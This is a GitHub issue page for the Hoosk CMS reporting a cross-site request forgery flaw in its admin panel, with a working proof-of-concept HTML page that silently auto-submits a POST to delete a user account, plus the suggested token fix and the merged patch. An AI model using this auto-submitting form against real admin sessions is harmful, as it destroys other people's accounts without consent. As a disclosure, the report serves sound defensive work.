New issue

Jump to bottom

CSRF issue that allows attacker to delete an account #53

Closed 3072L opened this issue on Apr 11, 2020 · 2 comments · Fixed by #56

3072L commented on Apr 11, 2020 • edited

Hi,bro.I also find an csrf issue in admin page.

When attacker induce authenticated admin user to a malicious web page, any accounts can be deleted without admin user's intention.

how to reproduce the issue.

1. Login to admin page.(/admin)
2. Keep login and access the html it has following content

```
<html>
  <body>
  <script>history.pushState('', '', '/')</script>
    <form action="http://demo.hoosk.org/admin/users/delete/userid" method="POST">
      <input type="hidden" name="deleteid" value="userid" />
    </form>
    <script>
      document.forms[0].submit();
    </script>
  </body>
</html>
```

userid is very easy to guess.

3.And account userid = `userid` is delete without admin user's intention.

how to fix this issue.
set csrf token to protect delete function.

havok89 linked a pull request on May 1, 2020 that will close this issue

Fix CSRF issue #56 Merged

havok89 closed this as completed in #56 on May 1, 2020

havok89 commented on May 1, 2020 Owner

Thanks for the issues you raised. I'm finally getting time to work on this now lol

3072L commented on May 8, 2020 Author

you're welcome bro!

Assignees

No one assigned

Labels

None yet

Projects

None yet

Milestone

No milestone

Development

Successfully merging a pull request may close this issue.

Fix CSRF issue
havok89/Hoosk

2 participants